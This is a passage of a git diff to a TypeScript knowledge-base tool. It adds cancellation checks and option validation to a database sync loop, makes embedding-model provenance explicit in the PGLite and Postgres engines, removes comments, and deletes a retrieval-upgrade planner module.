+ throw new OperationError('invalid_params', 'The approved company sync must retain its original processing options.');
+ }
phase = 'freeze';
- cursor = await saveCursor(engine, key, cursor, { ...cursor, pending: await freezeEntry(engine, cursor, key) }, true);
+ const retry = { ...cursor, processingOptions };
+ cursor = await saveCursor(engine, key, cursor, { ...retry, pending: await freezeEntry(engine, retry, key, assertActive) }, true, assertActive);
}
}
if (cursor && opts.retryFailed && !opts.dryRun && !company && !cursor.done) {
const unfinished = await engine.executeRaw(`SELECT id FROM persistence_requests WHERE source_id=$1
AND (state IN ('queued','running','recovering') OR recovery IS NOT NULL) LIMIT 1`, [cursor.sourceId]);
+ assertActive();
if (!unfinished.length) {
const failed = cursor.pending ? await getWriteRequest(engine, cursor.authority.writer.principal, cursor.pending.requestId) : null;
const recorded = await engine.executeRaw("SELECT 1 FROM op_checkpoints WHERE op='managed-sync-failure' AND fingerprint=$1 AND completed_keys->0->>'run_id'=$2", [key, cursor.runId]);
+ assertActive();
if ((failed && ['failed', 'conflict', 'cancelled'].includes(failed.state)) || (!failed && recorded.length)) {
phase = 'discovery';
discoveryTarget = syncGit(context.gitRoot, ['rev-parse', 'HEAD']).trim();
const discovery = await discoverManagedSync(engine, opts, context);
- cursor = await replaceCursor(engine, key, header(cursor), { ...discovery, authority, runId: discoveryRun, index: 0, counts: { added: 0, modified: 0, deleted: 0, chunks: 0 } });
+ assertActive();
+ cursor = await replaceCursor(engine, key, header(cursor), { ...discovery, authority, processingOptions, runId: discoveryRun, index: 0, counts: { added: 0, modified: 0, deleted: 0, chunks: 0 } }, assertActive);
}
}
}
+ assertActive();
if (cursor?.done && opts.dryRun) return result(cursor, 'dry_run');
- if (cursor?.done && company) { await clearManagedSyncFailureAfterSuccess(engine, key); return result(cursor, cursor.from === null ? 'first_sync' : 'synced'); }
+ if (cursor?.done && company) {
+ await clearManagedSyncFailureAfterSuccess(engine, key);
+ assertActive();
+ return result(cursor, cursor.from === null ? 'first_sync' : 'synced');
+ }
if (cursor?.done) {
+ const completed = cursor;
+ await engine.transaction(async tx => {
+ assertActive();
+ await tx.executeRaw('DELETE FROM op_checkpoints WHERE op=$1 AND fingerprint=$2 AND completed_keys=$3::text::jsonb', [OP, key, JSON.stringify([header(completed)])]);
+ assertActive();
+ });
+ assertActive();
await clearManagedSyncFailureAfterSuccess(engine, key);
- await engine.executeRaw('DELETE FROM op_checkpoints WHERE op=$1 AND fingerprint=$2 AND completed_keys=$3::text::jsonb', [OP, key, JSON.stringify([header(cursor)])]);
cursor = await readCursor(engine, key);
}
if (!cursor) {
+ assertActive();
phase = 'discovery';
discoveryTarget = company?.plan.revision?.commit ?? syncGit(context.gitRoot, ['rev-parse', 'HEAD']).trim();
const discovery = await discoverManagedSync(engine, opts, context);
- const fresh: Cursor = { ...discovery, authority, runId: discoveryRun, index: 0, counts: { added: 0, modified: 0, deleted: 0, chunks: 0 }, ...(company ? { companyReceiptId: company.receiptId } : {}) };
+ assertActive();
+ const fresh: Cursor = { ...discovery, authority, processingOptions, runId: discoveryRun, index: 0, counts: { added: 0, modified: 0, deleted: 0, chunks: 0 }, ...(company ? { companyReceiptId: company.receiptId } : {}) };
if (opts.dryRun) return result(fresh, 'dry_run');
- if (!fresh.entries.length && fresh.from === fresh.target) { await clearManagedSyncFailureAfterSuccess(engine, key); return result(fresh, 'up_to_date'); }
+ if (!fresh.entries.length && fresh.from === fresh.target) {
+ await clearManagedSyncFailureAfterSuccess(engine, key);
+ assertActive();
+ return result(fresh, 'up_to_date');
+ }
if (company) await company.protect([{ op: OP, fingerprint: key, kind: 'managed_cursor' }, { op: `${OP}-manifest`, fingerprint: fresh.runId, kind: 'manifest' }]);
- cursor = await saveCursor(engine, key, null, fresh);
+ assertActive();
+ cursor = await saveCursor(engine, key, null, fresh, false, assertActive);
}
+ assertActive();
if (cursor.incarnation !== context.incarnation || cursor.binding.worktree_id !== context.binding.worktree_id ||
String(cursor.binding.topology_generation) !== String(context.binding.topology_generation) ||
String(cursor.binding.owner_epoch) !== String(context.binding.owner_epoch) || cursor.root !== context.root) {
throw new OperationError('source_changed', 'The unfinished sync cursor belongs to an older source binding.');
}
+ if (cursor.processingOptions ? digest(cursor.processingOptions) !== digest(processingOptions) : !cursor.pending) {
+ throw new OperationError('invalid_params', 'The unfinished sync has different or unknown processing options.',
+ 'Resume with the original --no-embed, --no-extract and --no-schema-pack options. After resolving pending requests, use --retry-failed for explicit rediscovery; existing requests are not rewritten.');
+ }
if (opts.dryRun) return result(cursor, 'dry_run');
const config = loadConfig() ?? { engine: engine.kind };
- const signal = opts.signal && currentJobSignal() ? AbortSignal.any([opts.signal, currentJobSignal()!]) : opts.signal ?? currentJobSignal();
let batchStart = performance.now(), batchPages = 0, foregroundWaitStart = 0, foregroundBaseline = 0;
let creditedPages = 0, creditStarted = 0;
const sliceStarted = performance.now(), sliceFirstIndex = cursor.index;
while (!cursor.done) {
- assertPersistenceAccepting(engine);
- if (signal?.aborted) return result(cursor, 'partial', 'timeout');
+ assertActive();
if (!cursor.pending) {
// A source remains fair in both directions: foreground gets service,
// then sync earns one bounded batch even if new interactive work keeps arriving.
if (creditedPages && performance.now() - creditStarted >= 250) creditedPages = 0;
const [foreground] = await engine.executeRaw(`SELECT id FROM persistence_requests WHERE worktree_id=$1::uuid
AND state IN ('queued','running','recovering') AND NOT(COALESCE(intent->>'kind','') LIKE 'managed_sync_%') LIMIT 1`, [cursor.binding.worktree_id]);
+ assertActive();
if (foreground && creditedPages === 0) {
startPersistenceConsumer(engine, config);
if (!foregroundWaitStart) {
@@ -249,20 +319,33 @@ export async function performManagedSync(engine: BrainEngine, opts: SyncOpts, sl
}
foregroundWaitStart = 0;
phase = 'freeze';
- cursor = await saveCursor(engine, key, cursor, { ...cursor, pending: await freezeEntry(engine, cursor, key) });
+ cursor = await saveCursor(engine, key, cursor, { ...cursor, pending: await freezeEntry(engine, cursor, key, assertActive) }, false, assertActive);
}
if (!cursor.pending) continue; // another owner-loop advanced the cursor
const pending = cursor.pending;
phase = 'admission';
const prior = await getWriteRequest(engine, cursor.authority.writer.principal, pending.requestId);
- const row = prior ?? await admitWrite(engine, { requestId: pending.requestId, operation: 'submit_job',
- sourceId: cursor.sourceId, sourceIncarnation: cursor.incarnation, slug: pending.slug, pageId: pending.pageId,
- worktreeId: cursor.binding.worktree_id, topologyGeneration: cursor.binding.topology_generation,
- principal: cursor.authority.writer.principal, authority: cursor.authority.writer, callerIntent: pending.intent, intent: pending.intent });
+ assertActive();
+ const admitting = cursor;
+ const row = prior ?? await retryWriteAdmission(pending.requestId, remaining => engine.transaction(async tx => {
+ assertActive();
+ await tx.executeRaw("SELECT set_config('synchronous_commit','on',true),set_config('lock_timeout',$1,true),set_config('statement_timeout',$2,true)",
+ [`${Math.min(1000, remaining)}ms`, `${remaining}ms`]);
+ const accepted = await admitWriteInTransaction(tx, { requestId: pending.requestId, operation: 'submit_job',
+ sourceId: admitting.sourceId, sourceIncarnation: admitting.incarnation, slug: pending.slug, pageId: pending.pageId,
+ worktreeId: admitting.binding.worktree_id, topologyGeneration: admitting.binding.topology_generation,
+ principal: admitting.authority.writer.principal, authority: admitting.authority.writer, callerIntent: pending.intent, intent: pending.intent });
+ assertActive();
+ return accepted;
+ }));
await validateSyncAuthority(engine, cursor.authority, pending.slug);
+ assertSyncDispatchActive();
const done = await waitForWrite(engine, row, config, 5000);
- if (!isTerminalWriteState(done.state)) return { ...result(cursor, 'partial', 'writer_pending'),
- ...(authority.writer.remote ? {} : { managedWrite: writeDiagnostic(cursor, pending, done) }) };
+ assertSyncDispatchActive();
+ if (!isTerminalWriteState(done.state)) {
+ return { ...result(cursor, 'partial', signal?.aborted ? 'timeout' : 'writer_pending'),
+ ...(authority.writer.remote ? {} : { managedWrite: writeDiagnostic(cursor, pending, done) }) };
+ }
if (done.state !== 'committed') {
const { failure, ledgerRecorded } = await recordManagedSyncFailure(engine, { source_id: cursor.sourceId, source_incarnation: cursor.incarnation, path: pending.intent.path ?? '<checkpoint>',
code: done.error_code ?? (done.state === 'cancelled' ? 'cancelled' : 'storage_error'), message: done.error_message ?? 'The accepted sync request did not commit.',
@@ -278,6 +361,7 @@ export async function performManagedSync(engine: BrainEngine, opts: SyncOpts, sl
if (!cursor?.done) throw new OperationError('storage_error', 'Committed sync checkpoint lost its cursor.');
await clearManagedSyncFailureAfterSuccess(engine, key);
if (cursor.counts.added + cursor.counts.modified + cursor.counts.deleted > 0) await refreshProjectionStatistics(engine);
+ assertActive();
return result(cursor, cursor.from === null ? 'first_sync' : 'synced');
}
// The frozen manifest is shared; only the cursor header changes per page.
@@ -289,6 +373,7 @@ export async function performManagedSync(engine: BrainEngine, opts: SyncOpts, sl
next.counts.chunks += Number(done.outcome?.chunks ?? 0);
cursor = await saveCursor(engine, key, cursor, next);
opts.onProgress?.({ phase: 'managed_sync.page_committed', bankedFiles: cursor.index });
+ assertActive();
if (slice && (cursor.index - sliceFirstIndex >= slice.maxPages || performance.now() - sliceStarted >= slice.maxMs)) return result(cursor, 'partial', 'writer_yield');
batchPages++;
if (creditedPages) creditedPages--;
@@ -300,6 +385,14 @@ export async function performManagedSync(engine: BrainEngine, opts: SyncOpts, sl
}
return result(cursor, cursor.from === null ? 'first_sync' : 'synced');
} catch (error) {
+ assertSyncDispatchActive();
+ if (signal?.aborted && error instanceof Error && error.name === 'AbortError') {
+ if (cursor) return result(cursor, 'partial', 'timeout');
+ if (missingManifestCursor) return result(missingManifestCursor, 'partial', 'timeout');
+ const from = authority.writer.remote || opts.full ? null : context.source.last_commit;
+ return { status: 'partial', reason: 'timeout', fromCommit: from, toCommit: authority.writer.remote ? '' : discoveryTarget ?? from ?? '',
+ added: 0, modified: 0, deleted: 0, renamed: 0, chunksCreated: 0, embedded: 0, pagesAffected: [], filesImported: 0, bankedFiles: 0 };
+ }
if (!opts.dryRun) {
const code = error instanceof OperationError ? error.code : 'storage_error';
if (code !== 'permission_denied') {
diff --git a/src/core/pglite-engine.ts b/src/core/pglite-engine.ts
index 026ac556b5..e901f4247c 100644
--- a/src/core/pglite-engine.ts
+++ b/src/core/pglite-engine.ts
@@ -73,6 +73,7 @@ import { searchVectorPool, readVectorPool } from './search/vector-pool.ts';
import { withVectorSettings } from './search/vector-settings.ts';
import { PGLITE_SCHEMA_SQL, getPGLiteSchema } from './pglite-schema.ts';
import { DEFAULT_EMBEDDING_MODEL, DEFAULT_EMBEDDING_DIMENSIONS } from './ai/defaults.ts';
+import { readStoredEmbeddingIdentity } from './stored-embedding-identity.ts';
import { DELETE_BATCH_SIZE, TRAVERSE_PATH_ROW_CAP } from './engine-constants.ts';
import { PageMissingError } from './engine-errors.ts';
import { SOURCE_CONFIG_OBJECT_SQL } from './source-config-sql.ts';
@@ -217,22 +218,7 @@ type PGLiteDB = PGlite;
// optimization, never authoritative).
let _snapshotWarnLogged = false;
-// Per-process memo. MIGRATIONS + PGLITE_SCHEMA_SQL are static for the life of
-// the process, so the schema hash is too; the version file and the ~42MB tar
-// are read once per (path, process) instead of once per engine construction
-// (a full suite constructs 600+ engines — the un-memoized loader re-read the
-// tar and re-hashed 131 migration handler sources every time, ~84MB of
-// transient allocation per call). A null entry means the path is terminally
-// unusable this process (missing/stale/torn) — no retry per construction.
-// The dims/model shape gate is deliberately NOT memoized: tests reconfigure
-// the gateway mid-process (zembed/1280) and a mismatched engine must fall
-// back to cold init even when an earlier engine loaded this same snapshot.
-// Accepted limitation: a snapshot file rewritten mid-process is not observed;
-// the only writer (build-pglite-snapshot.ts) runs before test fan-out.
let _snapshotSchemaHashMemo: string | null = null;
-// blob stays null until the FIRST caller whose shape gate passes — a process
-// whose gateway shape never matches the snapshot (the zembed/1280 test
-// files) never pays the 42MB tar read at all.
const _snapshotFileMemo = new Map<string, { versionLines: string[]; blob: Blob | null } | null>();
let _snapshotTarReads = 0;
@@ -1048,18 +1034,6 @@ export class PGLiteEngine implements BrainEngine {
if (this._snapshotLoaded) {
return;
}
- // Pre-schema bootstrap: add forward-referenced state the embedded schema
- // blob requires but that older brains don't have yet (issues #366/#375/
- // #378/#396 + #266/#357). Bootstrap is idempotent and a no-op on fresh
- // installs and modern brains.
- await this.applyForwardReferenceBootstrap();
-
- // Resolve embedding dim/model from gateway. v0.37 fix wave: fallbacks
- // track the canonical defaults in `ai/defaults.ts` (zeroentropyai:zembed-1
- // / 1280d) instead of the stale v0.13 OpenAI literals, AND we store the
- // full `provider:model` string in the DB config table — consumers like
- // ze-switch, doctor, and recommendation-context expect the provider
- // prefix. (Round-1 CDX-4 + A.8.)
let dims: number = DEFAULT_EMBEDDING_DIMENSIONS;
let model: string = DEFAULT_EMBEDDING_MODEL;
try {
@@ -1072,6 +1046,13 @@ export class PGLiteEngine implements BrainEngine {
model = gw.getEmbeddingModel();
} catch { /* gateway not configured — use defaults */ }
+ const storedIdentity = await readStoredEmbeddingIdentity(this);
+ if (storedIdentity) {
+ if (!storedIdentity.model) throw new Error('Stored embedding model is unknown. Run gbrain migrate embeddings --status and explicitly migrate before schema initialization.');
+ dims = storedIdentity.dimensions;
+ model = storedIdentity.model;
+ }
+ await this.applyForwardReferenceBootstrap();
await this.db.exec(getPGLiteSchema(dims, model));
const { applied } = await runMigrations(this);
@@ -3027,10 +3008,6 @@ export class PGLiteEngine implements BrainEngine {
column: string = 'embedding',
): Promise<Map<number, Float32Array>> {
if (ids.length === 0) return new Map();
- // v0.36 (D9): column parameter so hybrid.cosineReScore can rehydrate
- // from the active embedding space (Voyage 1024d, ZE halfvec 2560d,
- // etc.). Identifier-quoted (D12 layer 2) plus strict regex on the
- // column name (D12 layer 1) before interpolation.
if (!COLUMN_NAME_REGEX.test(column)) {
throw new EmbeddingColumnNotRegisteredError(column, []);
}
@@ -3195,30 +3172,26 @@ export class PGLiteEngine implements BrainEngine {
const params: unknown[] = [];
let paramIdx = 1;
- // Provenance fallback for chunks without an explicit `model`: resolve the
- // gateway's runtime model, not the compile-time DEFAULT_EMBEDDING_MODEL.
- // #3461: getEmbeddingModel() THROWS when unconfigured (never returns
- // falsy) — on the throw path fall back to the brain's own
- // `config.embedding_model` row, then the compile-time default as the
- // last resort. See postgres-engine.ts _upsertChunksOnce for the full
- // rationale — pglite mirrors it for parity.
let resolvedModel: string | null = null;
try {
// Keep the gateway lazy so module-load failure remains inside this soft
// fallback boundary; eager evaluation would bypass the config-row fallback.
const gw = await import('./ai/gateway.ts'); // engine-dynamic-import-ok
- resolvedModel = gw.getEmbeddingModel();
- } catch {
+ resolvedModel = gw.getEmbeddingModelProvenance();
+ } catch {}
+ if (!resolvedModel) {
try {
const cfg = await this.db.query(
`SELECT value FROM config WHERE key = 'embedding_model'`,
);
resolvedModel = ((cfg.rows[0] as { value?: string } | undefined)?.value) ?? null;
- } catch {
- // config table unreadable — fall through to the compile-time default.
- }
+ } catch {}
+ }
+ resolvedModel = writeCol.embeddingModel || resolvedModel;
+ if (!resolvedModel && chunks.some(chunk => chunk.embedding && !chunk.model)) {
+ throw new Error('Embedding model provenance is unknown. Supply an explicit chunk model or run gbrain migrate embeddings --status before an explicit migration.');
}
- if (!resolvedModel) resolvedModel = DEFAULT_EMBEDDING_MODEL;
+ if (!resolvedModel) resolvedModel = 'unconfigured';
for (const chunk of chunks) {
const embeddingStr = chunk.embedding
diff --git a/src/core/pglite-schema.ts b/src/core/pglite-schema.ts
index b2727ed320..51b11fc8bc 100644
--- a/src/core/pglite-schema.ts
+++ b/src/core/pglite-schema.ts
@@ -1283,14 +1283,6 @@ CREATE INDEX IF NOT EXISTS extract_atoms_page_state_page_idx ON extract_atoms_pa
`;
-/**
- * Return the PGLite schema SQL with embedding vector dim + model name substituted.
- * Defaults come from the AI gateway (v0.36+: zeroentropyai:zembed-1 / 1280d).
- *
- * v0.37.x fix wave: defaults track gateway constants instead of stale v0.13
- * OpenAI literals so the pre-computed `PGLITE_SCHEMA_SQL` constant doesn't
- * size the column to 1536 while the runtime default model emits 1280.
- */
export function getPGLiteSchema(
dims: number = DEFAULT_EMBEDDING_DIMENSIONS,
model: string = DEFAULT_EMBEDDING_MODEL,
diff --git a/src/core/postgres-engine.ts b/src/core/postgres-engine.ts
index 8b07bf034f..74aa78ee2e 100644
--- a/src/core/postgres-engine.ts
+++ b/src/core/postgres-engine.ts
@@ -103,6 +103,7 @@ import { buildSourceFactorCase, buildHardExcludeClause, buildVisibilityClause, b
import { privatePagesFilterFragment, privateLinkOriginFilterFragment, privateTimelineEventFilterFragment, privateProvenanceFilterFragment } from './search/private-visibility.ts';
import { unverifiedExtractionFragment } from './extraction-review.ts';
import { DEFAULT_EMBEDDING_MODEL, DEFAULT_EMBEDDING_DIMENSIONS } from './ai/defaults.ts';
+import { readStoredEmbeddingIdentity } from './stored-embedding-identity.ts';
import { DELETE_BATCH_SIZE, TRAVERSE_PATH_ROW_CAP } from './engine-constants.ts';
import { PageMissingError } from './engine-errors.ts';
import { SOURCE_CONFIG_OBJECT_SQL } from './source-config-sql.ts';
@@ -453,11 +454,6 @@ export class PostgresEngine implements BrainEngine {
? await this.connectionManager.ddl()
: this.sql;
- // Resolve the embedding dim/model from the gateway. v0.37 fix wave:
- // fallbacks track the canonical defaults in `ai/defaults.ts` instead of
- // stale v0.13 OpenAI literals, AND we store the full `provider:model`
- // string in the DB config table — consumers like ze-switch and doctor
- // expect the provider prefix. (Round-1 CDX-4 + A.8.)
let dims: number = DEFAULT_EMBEDDING_DIMENSIONS;
let model: string = DEFAULT_EMBEDDING_MODEL;
try {
@@ -470,6 +466,12 @@ export class PostgresEngine implements BrainEngine {
model = gw.getEmbeddingModel();
} catch { /* gateway not yet configured — use defaults */ }
+ const storedIdentity = await readStoredEmbeddingIdentity(this);
+ if (storedIdentity) {
+ if (!storedIdentity.model) throw new Error('Stored embedding model is unknown. Run gbrain migrate embeddings --status and explicitly migrate before schema initialization.');
+ dims = storedIdentity.dimensions;
+ model = storedIdentity.model;
+ }
const sqlText = getPostgresSchema(dims, model);
// Advisory lock prevents concurrent initSchema() calls from deadlocking
@@ -2345,38 +2347,24 @@ export class PostgresEngine implements BrainEngine {
const params: unknown[] = [];
let paramIdx = 1;
- // Provenance fallback for chunks that don't carry an explicit `model`:
- // resolve the model the gateway ACTUALLY uses at runtime, not the
- // compile-time DEFAULT_EMBEDDING_MODEL constant. Callers like `embed`
- // build ChunkInputs without a `model` field (src/commands/embed.ts), so
- // the old `chunk.model || DEFAULT_EMBEDDING_MODEL` fallback stamped the
- // hardcoded default (e.g. zeroentropyai:zembed-1) onto rows whose vectors
- // were produced by a different, config-resolved model — corrupting the
- // provenance that signature-drift staleness + dim-migration logic trust.
- //
- // #3461: getEmbeddingModel() THROWS when the gateway is unconfigured —
- // it never returns falsy — so an `||` guard here is dead code and the
- // catch path used to stamp the compile-time default onto rows whose
- // vectors came from the config-resolved provider. On the throw path we
- // now fall back to the brain's own `config.embedding_model` row (kept
- // current by init / migrate / retrieval-upgrade), which names the model
- // that actually produced this brain's vectors. The compile-time default
- // is the LAST resort (fresh brain whose config row doesn't exist yet).
let resolvedModel: string | null = null;
try {
// Keep the gateway lazy so module-load failure remains inside this soft
// fallback boundary; eager evaluation would bypass the config-row fallback.
const gw = await import('./ai/gateway.ts'); // engine-dynamic-import-ok
- resolvedModel = gw.getEmbeddingModel();
- } catch {
+ resolvedModel = gw.getEmbeddingModelProvenance();
+ } catch {}
+ if (!resolvedModel) {
try {
const cfg = await sql`SELECT value FROM config WHERE key = 'embedding_model'`;
resolvedModel = (cfg[0]?.value as string | undefined) ?? null;
- } catch {
- // config table unreadable — fall through to the compile-time default.
- }
+ } catch {}
+ }
+ resolvedModel = writeCol.embeddingModel || resolvedModel;
+ if (!resolvedModel && chunks.some(chunk => chunk.embedding && !chunk.model)) {
+ throw new Error('Embedding model provenance is unknown. Supply an explicit chunk model or run gbrain migrate embeddings --status before an explicit migration.');
}
- if (!resolvedModel) resolvedModel = DEFAULT_EMBEDDING_MODEL;
+ if (!resolvedModel) resolvedModel = 'unconfigured';
for (const chunk of chunks) {
const embeddingStr = chunk.embedding
diff --git a/src/core/remediation/context.ts b/src/core/remediation/context.ts
index b9333c576b..1d31351000 100644
--- a/src/core/remediation/context.ts
+++ b/src/core/remediation/context.ts
@@ -22,15 +22,6 @@ export type { RecommendationContext };
export async function loadRecommendationContext(
engine: BrainEngine,
): Promise<RecommendationContext> {
- // v0.37 fix wave (Lane E.4 + CDX2-11): read schema-sizing fields from
- // gateway, not DB. The DB plane is schema-applied metadata; the file
- // plane is the gateway runtime source. Pre-fix this context produced
- // stale recommendations on fresh installs whose DB rows hadn't been
- // populated.
- //
- // Also extended the API-key check to recognize the ZE key alongside
- // OpenAI (was OpenAI-only). After Lane C.3, zeroentropy_api_key lives
- // in GBrainConfig + propagates to the gateway env dict.
const repoPath = await engine.getConfig('sync.repo_path');
let embeddingModel: string | undefined;
let embeddingDimensions: number | undefined;
@@ -46,12 +37,6 @@ export async function loadRecommendationContext(
embeddingModel = dbModel ?? undefined;
embeddingDimensions = dbDims ? Number(dbDims) : undefined;
}
- // v0.40.x: recipe-aware provider check, shared with autopilot.ts via
- // embeddingProviderConfigured(). Local providers (ollama, llama-server —
- // empty auth_env.required) need no hosted key; hosted providers check
- // their OWN required key (so a Voyage brain is judged by VOYAGE_API_KEY,
- // not by whether an OpenAI/ZE key happens to exist — the pre-fix wart).
- // fileCfg loads synchronously, so the resolveKey closure is sync.
const { loadConfigFileOnly } = await import('../config.ts');
const fileCfg = loadConfigFileOnly();
const { embeddingProviderConfigured, HOSTED_EMBED_KEY_CONFIG, chatApiKeyConfigured } = await import(
diff --git a/src/core/rerank-audit.ts b/src/core/rerank-audit.ts
index 49e2a76f25..cd6ba0e66d 100644
--- a/src/core/rerank-audit.ts
+++ b/src/core/rerank-audit.ts
@@ -27,21 +27,6 @@
import { createAuditWriter, computeIsoWeekFilename } from './audit/audit-writer.ts';
-/** Stable error-classification union for reranker fail-open audit rows.
- * `sunset_short_circuit` (#3657) is written ONCE per process per model by the
- * gateway itself (not per query by applyReranker): the reranker's hosted API
- * passed its announced shutdown date, so calls are skipped without HTTP and
- * results pass through unreranked. `no_key` (v0.48.2) follows the same
- * once-per-process-per-model rule: the resolved reranker's provider key is
- * absent from the gateway env, so the HTTP call is skipped and results pass
- * through unreranked — audit-only, no stderr (a shell-per-query agent would
- * otherwise see a line on every search). `auth` now means "key present but
- * rejected" (HTTP 401/403).
- * `empty_result_set` / `malformed_shape` (#4648): the provider answered
- * SUCCESSFULLY (HTTP 200) but with an empty or non-array result set for a
- * non-empty document batch, so applyReranker passed the input through in raw
- * RRF order with no rerank_score — previously the one pass-through that left
- * no trace anywhere. */
export type RerankFailureReason =
| 'auth'
| 'no_key'
@@ -50,14 +35,13 @@ export type RerankFailureReason =
| 'timeout'
| 'budget'
| 'payload_too_large'
- | 'sunset_short_circuit'
| 'empty_result_set'
| 'malformed_shape'
| 'unknown';
export interface RerankFailureEvent {
ts: string;
- /** Provider:model — e.g. `'zeroentropyai:zerank-2'`. */
+
model: string;
/** Classified failure mode (see RerankFailureReason). */
reason: RerankFailureReason;
diff --git a/src/core/retrieval-upgrade-planner.ts b/src/core/retrieval-upgrade-planner.ts
deleted file mode 100644
index 9992491ec5..0000000000
--- a/src/core/retrieval-upgrade-planner.ts
+++ /dev/null
@@ -1,500 +0,0 @@
-/**
- * v0.36.0.0 — RetrievalUpgradePlanner (D12 architecture).
- *
- * The planner computes the brain's pending retrieval-upgrade work in one
- * pass and either previews it (planRetrievalUpgrade) or applies it
- * (applyRetrievalUpgrade). It consolidates two surfaces that BOTH invalidate
- * embeddings on the same upgrade:
- *
- * 1. v0.32.7 chunker-version bump (pages re-chunk + re-embed under the
- * same provider). The legacy `runPostUpgradeReembedPrompt` covered this.
- * 2. v0.36.0.0 ZE-as-default switch (schema goes from current width to
- * 1024d via Matryoshka + provider flips to zeroentropyai:zembed-1).
- *
- * Letting these fire as two separate prompts on the same `gbrain upgrade`
- * would double-charge the user for re-embed (codex outside-voice flag #2).
- * The planner returns a single `RetrievalUpgradeState` capturing the
- * combined work; `applyRetrievalUpgrade` runs one schema transition (when
- * needed) + sets config so ONE re-embed pass invalidates both surfaces.
- *
- * Three config keys (D12) separate UI state, intent, and work-done:
- *
- * ze_switch_prompt_shown : user has seen the prompt — don't re-ask
- * ze_switch_requested : user said yes — schema transition is starting
- * ze_switch_applied : work is done — schema width + config are
- * aligned and re-embed can proceed
- * ze_switch_declined_at : ISO ts when user said "never ask again"
- * ze_switch_previous_snapshot : JSON snapshot for --undo (D16)
- *
- * RETIRED state machine (historical — no CLI path reaches it anymore):
- *
- * [fresh brain]
- * |
- * | (pre-v0.46.3) forward switch requested
- * v
- * prompt_shown=true, requested=true
- * |
- * | schema transition runs (transaction)
- * v
- * ... (schema width is at target) ...
- * |
- * | config writes (embedding_model, dim, reranker)
- * v
- * applied=true -> stable.
- *
- * Every arrow above is CLI-unreachable today: `gbrain ze-switch` is a pure
- * refusal/redirect shim (the sunset refusal landed in v0.46.3; the undo/
- * dry-run actions were retired in the interim ZE cleanup because apply/undo
- * write DB-plane config the post-v0.37 file-plane-canonical runtime never
- * reads). The functions below survive ONLY as test vehicles — they carry the
- * multimodal-column preservation pins and the env-override gate cases until
- * the v0.47 removal deletes this file wholesale.
- *
- * The planner is intentionally NOT a migration in the MIGRATIONS array.
- * Migrations are forward-only and run for every brain on every upgrade;
- * this machine was conditional, idempotent, and reversible (see plan D12).
- */
-
-import type { BrainEngine } from './engine.ts';
-import { MARKDOWN_CHUNKER_VERSION } from './chunkers/recursive.ts';
-import { lookupEmbeddingPrice, estimateCostFromChars } from './embedding-pricing.ts';
-import { computeReembedEstimate } from './post-upgrade-reembed.ts';
-import {
- detectEnvOverride,
- formatEnvOverrideWarning,
- runSchemaTransition,
- type EnvOverrideWarning,
-} from './embedding-migration.ts';
-import { readContentChunksEmbeddingDim } from './embedding-dim-check.ts';
-
-// Back-compat re-exports: these primitives moved to embedding-migration.ts
-// (the v0.47 survivor module) so the ZE removal wave can delete this file
-// wholesale. Existing importers (ze-switch, tests) keep working until then.
-export { detectEnvOverride, formatEnvOverrideWarning, runSchemaTransition };
-export type { EnvOverrideWarning };
-
-// ============================================================================
-// Constants
-// ============================================================================
-
-/** v0.36.0.0 cutover target: ZeroEntropy zembed-1 at 1280d via Matryoshka. */
-export const ZE_TARGET_EMBEDDING_MODEL = 'zeroentropyai:zembed-1';
-export const ZE_TARGET_EMBEDDING_DIM = 1280;
-export const ZE_TARGET_RERANKER_MODEL = 'zeroentropyai:zerank-2';
-
-/** Config keys (D12). */
-export const KEY_PROMPT_SHOWN = 'ze_switch_prompt_shown';
-export const KEY_REQUESTED = 'ze_switch_requested';
-export const KEY_APPLIED = 'ze_switch_applied';
-export const KEY_DECLINED_AT = 'ze_switch_declined_at';
-export const KEY_PREVIOUS_SNAPSHOT = 'ze_switch_previous_snapshot';
-
-/** C3 eligibility: skip prompt for tiny brains (< 100 pages) to avoid noise. */
-export const ZE_MIN_PAGES_FOR_OFFER = 100;
-
-/** C3 eligibility: re-ask after this many days even if user said "never". */
-export const ZE_DECLINE_REASK_DAYS = 90;
-
-/** Heuristic: serial re-embed throughput per worker. */
-const EMBED_PAGES_PER_MINUTE = 60;
-
-/** Heuristic: DDL wall-clock per page on Postgres. PGLite is effectively zero. */
-const POSTGRES_DDL_MS_PER_PAGE = 0.5;
-
-// ============================================================================
-// Types
-// ============================================================================
-
-export type RetrievalUpgradeState = {
- /** v0.32.7 surface: chunker-version bump pending re-chunk + re-embed. */
- chunker_bump_pending: boolean;
- /** v0.36.0.0 surface: ZE-default switch offered per C3 eligibility. */
- ze_switch_offered: boolean;
- /** User previously declined; respected unless >= ZE_DECLINE_REASK_DAYS old. */
- ze_switch_already_declined: boolean;
- current_embedding_model: string;
- current_dim: number;
- /** null = no provider change; e.g. user is already on ZE. */
- target_embedding_model: string | null;
- /** null = no dim change. */
- target_dim: number | null;
- pages_pending_chunker: number;
- /** All non-deleted pages (the whole brain) when dim changes. */
- pages_pending_dim: number;
- /** MAX(pending_chunker, pending_dim) × token_cost, NOT the sum (C4). */
- est_cost_usd: number;
- est_minutes: number;
- est_schema_change_seconds: number;
-};
-
-/**
- * Snapshot stored in `ze_switch_previous_snapshot` (D16) so --undo can
- * restore the user's exact prior config including the reranker state.
- */
-export type ZeSwitchSnapshot = {
- embedding_model: string;
- embedding_dimensions: number;
- search_reranker_enabled: boolean;
- search_reranker_model: string | null;
-};
-
-/**
- * Tagged-union return (D15) so callers can dispatch on `status` without
- * parsing the `reason` string. `failed` carries a reason; all others omit it.
- *
- * v0.41.2.1 D9 #8 — `refused` is the new pre-apply gate variant when
- * GBRAIN_EMBEDDING_* env vars would override the target at runtime.
- * CLI renders the warning box; planner stays data-pure.
- */
-export type ApplyResult =
- | { status: 'applied'; plan: RetrievalUpgradeState }
- | { status: 'skipped_already_applied'; plan: RetrievalUpgradeState }
- | { status: 'skipped_no_work'; plan: RetrievalUpgradeState }
- | { status: 'declined'; plan: RetrievalUpgradeState }
- | { status: 'planned'; plan: RetrievalUpgradeState }
- | { status: 'refused'; plan: RetrievalUpgradeState; reason: 'env_override'; warning: EnvOverrideWarning }
- | { status: 'failed'; plan: RetrievalUpgradeState; reason: string };
-
-/**
- * v0.41.2.1 — Apply/resume opts. ignoreEnvOverride mirrors the existing
- * --ignore-missing-key precedent in the same command surface.
- */
-export interface ApplyOpts {
- ignoreEnvOverride?: boolean;
-}
-
-// ============================================================================
-// Public API
-// ============================================================================
-
-/**
- * Compute the brain's pending retrieval-upgrade work. Pure read; no writes.
- *
- * Eligibility for `ze_switch_offered` (per plan C3):
